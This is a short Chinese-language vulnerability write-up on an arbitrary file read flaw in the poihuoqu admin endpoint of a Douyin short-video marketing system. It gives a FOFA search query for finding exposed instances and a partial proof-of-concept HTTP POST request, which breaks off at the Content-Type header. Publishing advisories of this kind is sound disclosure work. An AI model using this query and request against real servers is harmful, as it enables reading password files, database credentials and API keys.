0x01 产品简介

短视频矩阵营销系统是由北京华益云数据科技有限公司开发的一款产品，这家公司专注于抖音短视频矩阵营销系统的研发，致力于为企业提供全方位的短视频营销解决方案。华益云抖销短视频矩阵系统可以帮助企业快速搭建多个短视频账号，实现内容的批量制作和发布，提高企业在抖音平台的曝光度和影响力。

0x02 漏洞概述

短视频矩阵营销系统poihuoqu接口处存在文件读取漏洞，攻击者可以利用该漏洞访问服务器上的任意文件，包括密码文件、配置文件等，从而获取系统权限和敏感信息。此外，攻击者还可以利用该漏洞读取应用程序中的敏感数据，如数据库凭据、API密钥等。

0x03 复现环境

FOFA：title=="短视频矩阵营销系统"

0x04 漏洞复现

PoC

POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application